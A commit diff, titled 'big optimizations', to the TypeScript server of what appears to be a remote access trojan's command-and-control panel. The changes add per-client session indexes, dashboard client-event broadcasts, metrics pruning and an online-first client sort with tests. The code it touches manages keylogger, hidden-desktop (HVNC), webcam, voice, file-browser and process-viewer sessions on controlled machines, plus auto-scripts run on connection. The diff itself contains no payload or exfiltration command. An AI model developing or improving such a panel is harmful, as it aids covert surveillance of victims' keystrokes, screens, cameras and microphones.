big optimizations
This commit is contained in:
@@ -0,0 +1,113 @@
|
||||
import { afterAll, describe, expect, test } from "bun:test";
|
||||
import { deleteClientRow, listClients, setClientBookmark, upsertClientRow } from "./db";
|
||||
|
||||
const createdClientIds: string[] = [];
|
||||
|
||||
function createTempClient(id: string, options: { online: boolean; lastSeen: number; host: string; pingMs?: number; bookmarked?: boolean }) {
|
||||
upsertClientRow({
|
||||
id,
|
||||
hwid: id,
|
||||
role: "client",
|
||||
host: options.host,
|
||||
os: "windows",
|
||||
arch: "amd64",
|
||||
version: "1.0.0",
|
||||
user: "tester",
|
||||
country: "US",
|
||||
lastSeen: options.lastSeen,
|
||||
online: options.online ? 1 : 0,
|
||||
pingMs: options.pingMs,
|
||||
});
|
||||
if (options.bookmarked) {
|
||||
setClientBookmark(id, true);
|
||||
}
|
||||
createdClientIds.push(id);
|
||||
}
|
||||
|
||||
function cleanupCreatedClients() {
|
||||
while (createdClientIds.length > 0) {
|
||||
const id = createdClientIds.pop();
|
||||
if (id) {
|
||||
deleteClientRow(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
afterAll(() => {
|
||||
cleanupCreatedClients();
|
||||
});
|
||||
|
||||
describe("client list ordering", () => {
|
||||
test("default sort keeps online clients above offline clients on the first page", () => {
|
||||
try {
|
||||
const prefix = `order-default-${Date.now().toString(36)}`;
|
||||
const now = Date.now();
|
||||
|
||||
for (let index = 0; index < 12; index += 1) {
|
||||
createTempClient(`${prefix}-offline-${index}`, {
|
||||
online: false,
|
||||
lastSeen: now - index,
|
||||
host: `offline-${index}`,
|
||||
});
|
||||
}
|
||||
|
||||
createTempClient(`${prefix}-online`, {
|
||||
online: true,
|
||||
lastSeen: now - 60_000,
|
||||
host: "online-host",
|
||||
});
|
||||
|
||||
const result = listClients({
|
||||
page: 1,
|
||||
pageSize: 12,
|
||||
search: prefix,
|
||||
sort: "last_seen_desc",
|
||||
statusFilter: "all",
|
||||
osFilter: "all",
|
||||
countryFilter: "all",
|
||||
enrollmentFilter: "all",
|
||||
});
|
||||
|
||||
expect(result.items.length).toBe(12);
|
||||
expect(result.items[0]?.id).toBe(`${prefix}-online`);
|
||||
expect(result.items[0]?.online).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedClients();
|
||||
}
|
||||
});
|
||||
|
||||
test("secondary sort modes still keep online clients above offline clients", () => {
|
||||
try {
|
||||
const prefix = `order-host-${Date.now().toString(36)}`;
|
||||
const now = Date.now();
|
||||
|
||||
createTempClient(`${prefix}-offline-bookmarked`, {
|
||||
online: false,
|
||||
lastSeen: now,
|
||||
host: "aaa-offline",
|
||||
bookmarked: true,
|
||||
});
|
||||
createTempClient(`${prefix}-online`, {
|
||||
online: true,
|
||||
lastSeen: now - 1_000,
|
||||
host: "zzz-online",
|
||||
});
|
||||
|
||||
const result = listClients({
|
||||
page: 1,
|
||||
pageSize: 12,
|
||||
search: prefix,
|
||||
sort: "host_asc",
|
||||
statusFilter: "all",
|
||||
osFilter: "all",
|
||||
countryFilter: "all",
|
||||
enrollmentFilter: "all",
|
||||
});
|
||||
|
||||
expect(result.items[0]?.id).toBe(`${prefix}-online`);
|
||||
expect(result.items[0]?.online).toBe(true);
|
||||
} finally {
|
||||
cleanupCreatedClients();
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -429,24 +429,25 @@ export function listClients(filters: ListFilters): ListResult {
|
||||
const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
|
||||
|
||||
const orderBy = (() => {
|
||||
const online = "online DESC";
|
||||
const bookmark = "bookmarked DESC";
|
||||
switch (sort) {
|
||||
case "stable":
|
||||
return `ORDER BY ${bookmark}, online DESC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, id ASC`;
|
||||
case "ping_asc":
|
||||
return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`;
|
||||
case "ping_desc":
|
||||
return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`;
|
||||
case "host_asc":
|
||||
return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`;
|
||||
case "host_desc":
|
||||
return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`;
|
||||
case "country_asc":
|
||||
return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`;
|
||||
case "country_desc":
|
||||
return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`;
|
||||
default:
|
||||
return `ORDER BY ${bookmark}, last_seen DESC, id ASC`;
|
||||
return `ORDER BY ${online}, ${bookmark}, last_seen DESC, id ASC`;
|
||||
}
|
||||
})();
|
||||
|
||||
|
||||
@@ -51,24 +51,24 @@ export function handleCommand(target: ClientInfo, action: string, req: Request)
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "desktop_start") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() }));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start" as any, id: uuidv4() }));
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "desktop_stop") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop", id: uuidv4() }));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop" as any, id: uuidv4() }));
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "desktop_select_display") {
|
||||
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display", id: uuidv4(), payload: { display: 0 } }));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display" as any, id: uuidv4(), payload: { display: 0 } }));
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "desktop_enable_mouse") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse", id: uuidv4(), payload: { enabled: true } }));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse" as any, id: uuidv4(), payload: { enabled: true } }));
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "desktop_enable_keyboard") {
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard", id: uuidv4(), payload: { enabled: true } }));
|
||||
target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard" as any, id: uuidv4(), payload: { enabled: true } }));
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
if (action === "disconnect") {
|
||||
@@ -111,12 +111,11 @@ export function handleCommand(target: ClientInfo, action: string, req: Request)
|
||||
}
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
export function markOffline(id: string) {
|
||||
setOnlineState(id, false);
|
||||
}
|
||||
|
||||
export function markOnline(info: ClientInfo) {
|
||||
upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 });
|
||||
upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 as any });
|
||||
}
|
||||
|
||||
@@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "./auth";
|
||||
import { loadConfig, getConfig } from "./config";
|
||||
import { flushAuditLogsSync } from "./auditLog";
|
||||
import { getUserById, getUsersForNotificationDelivery, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||
import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
|
||||
import { requireAuth, requirePermission } from "./rbac";
|
||||
import { metrics } from "./metrics";
|
||||
import { ensureDataDir } from "./paths";
|
||||
@@ -233,9 +233,7 @@ const storeNotificationScreenshotForPending = (
|
||||
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
|
||||
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
|
||||
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
|
||||
const deliveryUsers = getUsersForNotificationDelivery();
|
||||
return deliveryUsers
|
||||
.filter((u) => canUserAccessClient(u.id, u.role, clientId))
|
||||
return getUsersForNotificationDeliveryByClient(clientId)
|
||||
.map((u) => ({
|
||||
userId: u.id,
|
||||
username: u.username,
|
||||
@@ -473,6 +471,7 @@ async function startServer() {
|
||||
notifyRemoteDesktopStatus,
|
||||
handleBuildTagConnection,
|
||||
notifyDashboard: sessionManager.notifyDashboardViewers,
|
||||
notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent,
|
||||
broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent,
|
||||
};
|
||||
|
||||
|
||||
@@ -108,6 +108,27 @@ class MetricsCollector {
|
||||
private eventLoopDelays: number[] = [];
|
||||
private maxEventLoopHistory: number = 300;
|
||||
|
||||
private pruneTimestampWindow(list: number[], minTs: number): void {
|
||||
let removeCount = 0;
|
||||
while (removeCount < list.length && list[removeCount] <= minTs) {
|
||||
removeCount += 1;
|
||||
}
|
||||
if (removeCount > 0) {
|
||||
list.splice(0, removeCount);
|
||||
}
|
||||
}
|
||||
|
||||
private countRecent(list: number[], minTs: number): number {
|
||||
let count = 0;
|
||||
for (let index = list.length - 1; index >= 0; index -= 1) {
|
||||
if (list[index] <= minTs) {
|
||||
break;
|
||||
}
|
||||
count += 1;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
constructor() {
|
||||
setInterval(() => this.updateBandwidthRates(), 1000);
|
||||
|
||||
@@ -126,15 +147,13 @@ class MetricsCollector {
|
||||
|
||||
recordCommand(type: string) {
|
||||
this.commandCount++;
|
||||
this.commandTimestamps.push(Date.now());
|
||||
const now = Date.now();
|
||||
this.commandTimestamps.push(now);
|
||||
|
||||
const count = this.commandTypeCount.get(type) || 0;
|
||||
this.commandTypeCount.set(type, count + 1);
|
||||
|
||||
const oneHourAgo = Date.now() - 3600000;
|
||||
this.commandTimestamps = this.commandTimestamps.filter(
|
||||
(ts) => ts > oneHourAgo,
|
||||
);
|
||||
this.pruneTimestampWindow(this.commandTimestamps, now - 3600000);
|
||||
}
|
||||
|
||||
recordBytesSent(bytes: number) {
|
||||
@@ -173,9 +192,14 @@ class MetricsCollector {
|
||||
return { min: null, max: null, avg: null, count: 0 };
|
||||
}
|
||||
|
||||
const min = Math.min(...this.pingValues);
|
||||
const max = Math.max(...this.pingValues);
|
||||
const sum = this.pingValues.reduce((a, b) => a + b, 0);
|
||||
let min = Number.POSITIVE_INFINITY;
|
||||
let max = Number.NEGATIVE_INFINITY;
|
||||
let sum = 0;
|
||||
for (const ping of this.pingValues) {
|
||||
if (ping < min) min = ping;
|
||||
if (ping > max) max = ping;
|
||||
sum += ping;
|
||||
}
|
||||
const avg = sum / this.pingValues.length;
|
||||
|
||||
return { min, max, avg, count: this.pingValues.length };
|
||||
@@ -201,8 +225,10 @@ class MetricsCollector {
|
||||
this.httpTotal++;
|
||||
const now = Date.now();
|
||||
this.httpTimestamps.push(now);
|
||||
this.pruneTimestampWindow(this.httpTimestamps, now - 60000);
|
||||
if (statusCode >= 400) {
|
||||
this.httpErrorTimestamps.push(now);
|
||||
this.pruneTimestampWindow(this.httpErrorTimestamps, now - 60000);
|
||||
}
|
||||
if (Number.isFinite(durationMs)) {
|
||||
this.httpLatencies.push(durationMs);
|
||||
@@ -253,25 +279,20 @@ class MetricsCollector {
|
||||
const oneMinuteAgo = now - 60000;
|
||||
const oneHourAgo = now - 3600000;
|
||||
|
||||
const commandsLastMinute = this.commandTimestamps.filter(
|
||||
(ts) => ts > oneMinuteAgo,
|
||||
).length;
|
||||
const commandsLastHour = this.commandTimestamps.filter(
|
||||
(ts) => ts > oneHourAgo,
|
||||
).length;
|
||||
this.pruneTimestampWindow(this.commandTimestamps, oneHourAgo);
|
||||
this.pruneTimestampWindow(this.httpTimestamps, oneMinuteAgo);
|
||||
this.pruneTimestampWindow(this.httpErrorTimestamps, oneMinuteAgo);
|
||||
|
||||
const commandsLastMinute = this.countRecent(this.commandTimestamps, oneMinuteAgo);
|
||||
const commandsLastHour = this.commandTimestamps.length;
|
||||
|
||||
const commandsByType: Record<string, number> = {};
|
||||
for (const [type, count] of this.commandTypeCount.entries()) {
|
||||
commandsByType[type] = count;
|
||||
}
|
||||
|
||||
const oneMinuteAgoForHttp = now - 60000;
|
||||
const httpLastMinute = this.httpTimestamps.filter(
|
||||
(ts) => ts > oneMinuteAgoForHttp,
|
||||
).length;
|
||||
const httpErrorsLastMinute = this.httpErrorTimestamps.filter(
|
||||
(ts) => ts > oneMinuteAgoForHttp,
|
||||
).length;
|
||||
const httpLastMinute = this.httpTimestamps.length;
|
||||
const httpErrorsLastMinute = this.httpErrorTimestamps.length;
|
||||
|
||||
const httpLatencySamples = [...this.httpLatencies].sort((a, b) => a - b);
|
||||
const httpLatencyAvg = httpLatencySamples.length
|
||||
|
||||
@@ -234,7 +234,7 @@ export async function handleClientRoutes(
|
||||
);
|
||||
metrics.recordCommand("screenshot");
|
||||
}
|
||||
const success = generateThumbnail(clientId);
|
||||
const success = await generateThumbnail(clientId);
|
||||
return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS });
|
||||
}
|
||||
|
||||
|
||||
@@ -86,6 +86,10 @@ type WsLifecycleDeps = {
|
||||
notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void;
|
||||
handleBuildTagConnection: (clientId: string, buildTag: string) => void;
|
||||
notifyDashboard: () => void;
|
||||
notifyDashboardClientEvent: (
|
||||
event: "client_online" | "client_offline" | "client_purgatory",
|
||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||
) => void;
|
||||
broadcastClientEvent: (
|
||||
event: "client_online" | "client_offline" | "client_purgatory",
|
||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||
@@ -300,6 +304,14 @@ export async function handleWebSocketMessage(
|
||||
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
|
||||
ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
|
||||
deps.notifyDashboard();
|
||||
deps.notifyDashboardClientEvent("client_purgatory", {
|
||||
id: resolvedId,
|
||||
host: (payload as any).host || undefined,
|
||||
user: (payload as any).user || undefined,
|
||||
os: (payload as any).os || undefined,
|
||||
ip: ip || undefined,
|
||||
country,
|
||||
});
|
||||
deps.broadcastClientEvent("client_purgatory", {
|
||||
id: resolvedId,
|
||||
host: (payload as any).host || undefined,
|
||||
@@ -361,7 +373,16 @@ export async function handleWebSocketMessage(
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
deps.dispatchAutoScriptsForConnection(infoObj, ws);
|
||||
deps.notifyDashboard(); deps.broadcastClientEvent("client_online", {
|
||||
deps.notifyDashboard();
|
||||
deps.notifyDashboardClientEvent("client_online", {
|
||||
id: infoObj.id,
|
||||
host: infoObj.host,
|
||||
user: infoObj.user,
|
||||
os: infoObj.os,
|
||||
ip: infoObj.ip,
|
||||
country: infoObj.country,
|
||||
});
|
||||
deps.broadcastClientEvent("client_online", {
|
||||
id: infoObj.id,
|
||||
host: infoObj.host,
|
||||
user: infoObj.user,
|
||||
@@ -618,14 +639,14 @@ export function handleWebSocketClose(
|
||||
|
||||
if (role === "file_browser_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllFileBrowserSessions().delete(sessionId);
|
||||
sessionManager.deleteFileBrowserSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "process_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.getAllProcessSessions().delete(sessionId);
|
||||
sessionManager.deleteProcessSession(sessionId);
|
||||
}
|
||||
return;
|
||||
}
|
||||
@@ -661,6 +682,14 @@ export function handleWebSocketClose(
|
||||
}
|
||||
|
||||
if (role === "client" && currentClient) {
|
||||
deps.notifyDashboardClientEvent("client_offline", {
|
||||
id: clientId,
|
||||
host: currentClient.host,
|
||||
user: currentClient.user,
|
||||
os: currentClient.os,
|
||||
ip: currentClient.ip,
|
||||
country: currentClient.country,
|
||||
});
|
||||
deps.broadcastClientEvent("client_offline", {
|
||||
id: clientId,
|
||||
host: currentClient.host,
|
||||
|
||||
@@ -235,10 +235,9 @@ export function stopConsoleOnTarget(target: ClientInfo | undefined, sessionId: s
|
||||
}
|
||||
|
||||
export function notifyConsoleClosed(clientId: string, reason: string) {
|
||||
for (const [sessionId, session] of sessionManager.getAllConsoleSessions().entries()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getConsoleSessionsByClient(clientId)) {
|
||||
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
|
||||
sessionManager.deleteConsoleSession(sessionId);
|
||||
sessionManager.deleteConsoleSession(session.id);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -58,7 +58,7 @@ export function handleFileBrowserViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: FileBrowserViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllFileBrowserSessions().set(sessionId, session);
|
||||
sessionManager.addFileBrowserSession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientUser: target?.user || "", clientOs: target?.os || "" });
|
||||
if (!target) {
|
||||
@@ -240,8 +240,7 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
|
||||
}
|
||||
|
||||
let hasSession = false;
|
||||
for (const session of sessionManager.getAllFileBrowserSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getFileBrowserSessionsByClient(clientId)) {
|
||||
if (!hasSession) {
|
||||
hasSession = true;
|
||||
if (type && type !== "command_result" && type !== "command_progress") {
|
||||
@@ -265,7 +264,7 @@ export function handleProcessViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const sessionId = uuidv4();
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: ProcessViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.getAllProcessSessions().set(sessionId, session);
|
||||
sessionManager.addProcessSession(session);
|
||||
ws.data.sessionId = sessionId;
|
||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
@@ -305,8 +304,7 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
||||
}
|
||||
|
||||
export function handleProcessMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllProcessSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getProcessSessionsByClient(clientId)) {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
@@ -371,8 +369,7 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
||||
}
|
||||
|
||||
export function handleKeyloggerMessage(clientId: string, payload: any) {
|
||||
for (const session of sessionManager.getAllKeyloggerSessions().values()) {
|
||||
if (session.clientId !== clientId) continue;
|
||||
for (const session of sessionManager.getKeyloggerSessionsByClient(clientId)) {
|
||||
safeSendViewer(session.viewer, payload);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,11 +88,9 @@ export function handleVoiceUplink(clientId: string, payload: any) {
|
||||
: null;
|
||||
if (!bytes || bytes.byteLength === 0) return;
|
||||
|
||||
for (const session of sessionManager.getAllVoiceSessions().values()) {
|
||||
for (const session of sessionManager.getVoiceSessionsByClient(clientId)) {
|
||||
if (sessionId) {
|
||||
if (session.id !== sessionId) continue;
|
||||
} else if (session.clientId !== clientId) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
session.viewer.send(bytes);
|
||||
|
||||
@@ -22,14 +22,19 @@ const consoleSessions = new Map<string, ConsoleSession>();
|
||||
const rdSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const webcamSessions = new Map<string, RemoteDesktopViewer>();
|
||||
const hvncSessions = new Map<string, RemoteDesktopViewer>(); // HVNC uses same structure as RD
|
||||
const consoleSessionsByClient = new Map<string, Set<string>>();
|
||||
const rdSessionsByClient = new Map<string, Set<string>>();
|
||||
const webcamSessionsByClient = new Map<string, Set<string>>();
|
||||
const hvncSessionsByClient = new Map<string, Set<string>>();
|
||||
const fileBrowserSessions = new Map<string, FileBrowserViewer>();
|
||||
const processSessions = new Map<string, ProcessViewer>();
|
||||
const fileBrowserSessionsByClient = new Map<string, Set<string>>();
|
||||
const processSessionsByClient = new Map<string, Set<string>>();
|
||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||
const keyloggerSessionsByClient = new Map<string, Set<string>>();
|
||||
const voiceSessions = new Map<string, VoiceViewer>();
|
||||
const voiceSessionsByClient = new Map<string, Set<string>>();
|
||||
const dashboardSessions = new Map<string, DashboardViewer>();
|
||||
|
||||
function addSessionToClientIndex(
|
||||
@@ -60,6 +65,7 @@ function removeSessionFromClientIndex(
|
||||
|
||||
export function addConsoleSession(session: ConsoleSession): void {
|
||||
consoleSessions.set(session.id, session);
|
||||
addSessionToClientIndex(consoleSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getConsoleSession(
|
||||
@@ -69,13 +75,22 @@ export function getConsoleSession(
|
||||
}
|
||||
|
||||
export function deleteConsoleSession(sessionId: string): boolean {
|
||||
return consoleSessions.delete(sessionId);
|
||||
const existing = consoleSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
consoleSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(consoleSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getConsoleSessionsByClient(clientId: string): ConsoleSession[] {
|
||||
return Array.from(consoleSessions.values()).filter(
|
||||
(s) => s.clientId === clientId,
|
||||
);
|
||||
const ids = consoleSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: ConsoleSession[] = [];
|
||||
for (const id of ids) {
|
||||
const session = consoleSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllConsoleSessions(): Map<string, ConsoleSession> {
|
||||
@@ -221,6 +236,7 @@ export function getHvncSessionCount(): number {
|
||||
|
||||
export function addFileBrowserSession(session: FileBrowserViewer): void {
|
||||
fileBrowserSessions.set(session.id, session);
|
||||
addSessionToClientIndex(fileBrowserSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getFileBrowserSession(
|
||||
@@ -230,15 +246,24 @@ export function getFileBrowserSession(
|
||||
}
|
||||
|
||||
export function deleteFileBrowserSession(sessionId: string): boolean {
|
||||
return fileBrowserSessions.delete(sessionId);
|
||||
const existing = fileBrowserSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
fileBrowserSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(fileBrowserSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getFileBrowserSessionsByClient(
|
||||
clientId: string,
|
||||
): FileBrowserViewer[] {
|
||||
return Array.from(fileBrowserSessions.values()).filter(
|
||||
(s) => s.clientId === clientId,
|
||||
);
|
||||
const ids = fileBrowserSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: FileBrowserViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = fileBrowserSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllFileBrowserSessions(): Map<string, FileBrowserViewer> {
|
||||
@@ -247,6 +272,7 @@ export function getAllFileBrowserSessions(): Map<string, FileBrowserViewer> {
|
||||
|
||||
export function addProcessSession(session: ProcessViewer): void {
|
||||
processSessions.set(session.id, session);
|
||||
addSessionToClientIndex(processSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getProcessSession(
|
||||
@@ -256,13 +282,22 @@ export function getProcessSession(
|
||||
}
|
||||
|
||||
export function deleteProcessSession(sessionId: string): boolean {
|
||||
return processSessions.delete(sessionId);
|
||||
const existing = processSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
processSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(processSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getProcessSessionsByClient(clientId: string): ProcessViewer[] {
|
||||
return Array.from(processSessions.values()).filter(
|
||||
(s) => s.clientId === clientId,
|
||||
);
|
||||
const ids = processSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: ProcessViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = processSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllProcessSessions(): Map<string, ProcessViewer> {
|
||||
@@ -337,6 +372,7 @@ export function safeSendViewerFrame(
|
||||
|
||||
export function addKeyloggerSession(session: KeyloggerViewer): void {
|
||||
keyloggerSessions.set(session.id, session);
|
||||
addSessionToClientIndex(keyloggerSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getKeyloggerSession(
|
||||
@@ -346,15 +382,24 @@ export function getKeyloggerSession(
|
||||
}
|
||||
|
||||
export function deleteKeyloggerSession(sessionId: string): boolean {
|
||||
return keyloggerSessions.delete(sessionId);
|
||||
const existing = keyloggerSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
keyloggerSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(keyloggerSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getKeyloggerSessionsByClient(
|
||||
clientId: string,
|
||||
): KeyloggerViewer[] {
|
||||
return Array.from(keyloggerSessions.values()).filter(
|
||||
(s) => s.clientId === clientId,
|
||||
);
|
||||
const ids = keyloggerSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: KeyloggerViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = keyloggerSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllKeyloggerSessions(): Map<string, KeyloggerViewer> {
|
||||
@@ -363,6 +408,7 @@ export function getAllKeyloggerSessions(): Map<string, KeyloggerViewer> {
|
||||
|
||||
export function addVoiceSession(session: VoiceViewer): void {
|
||||
voiceSessions.set(session.id, session);
|
||||
addSessionToClientIndex(voiceSessionsByClient, session.clientId, session.id);
|
||||
}
|
||||
|
||||
export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
|
||||
@@ -370,11 +416,22 @@ export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
|
||||
}
|
||||
|
||||
export function deleteVoiceSession(sessionId: string): boolean {
|
||||
return voiceSessions.delete(sessionId);
|
||||
const existing = voiceSessions.get(sessionId);
|
||||
if (!existing) return false;
|
||||
voiceSessions.delete(sessionId);
|
||||
removeSessionFromClientIndex(voiceSessionsByClient, existing.clientId, sessionId);
|
||||
return true;
|
||||
}
|
||||
|
||||
export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
|
||||
return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId);
|
||||
const ids = voiceSessionsByClient.get(clientId);
|
||||
if (!ids || ids.size === 0) return [];
|
||||
const sessions: VoiceViewer[] = [];
|
||||
for (const id of ids) {
|
||||
const session = voiceSessions.get(id);
|
||||
if (session) sessions.push(session);
|
||||
}
|
||||
return sessions;
|
||||
}
|
||||
|
||||
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
||||
@@ -400,6 +457,30 @@ export function getDashboardSessionCount(): number {
|
||||
let dashboardBroadcastTimer: ReturnType<typeof setTimeout> | null = null;
|
||||
const DASHBOARD_DEBOUNCE_MS = 150;
|
||||
|
||||
export function notifyDashboardClientEvent(
|
||||
event: "client_online" | "client_offline" | "client_purgatory",
|
||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||
): void {
|
||||
const msg = JSON.stringify({
|
||||
type: "client_event",
|
||||
event,
|
||||
clientId: info.id,
|
||||
host: info.host,
|
||||
user: info.user,
|
||||
os: info.os,
|
||||
ip: info.ip,
|
||||
country: info.country,
|
||||
ts: Date.now(),
|
||||
});
|
||||
for (const [id, session] of dashboardSessions) {
|
||||
try {
|
||||
session.viewer.send(msg);
|
||||
} catch {
|
||||
dashboardSessions.delete(id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function notifyDashboardViewers(): void {
|
||||
if (dashboardBroadcastTimer) return;
|
||||
dashboardBroadcastTimer = setTimeout(() => {
|
||||
|
||||
@@ -1,5 +1,15 @@
|
||||
import sharp from "sharp";
|
||||
|
||||
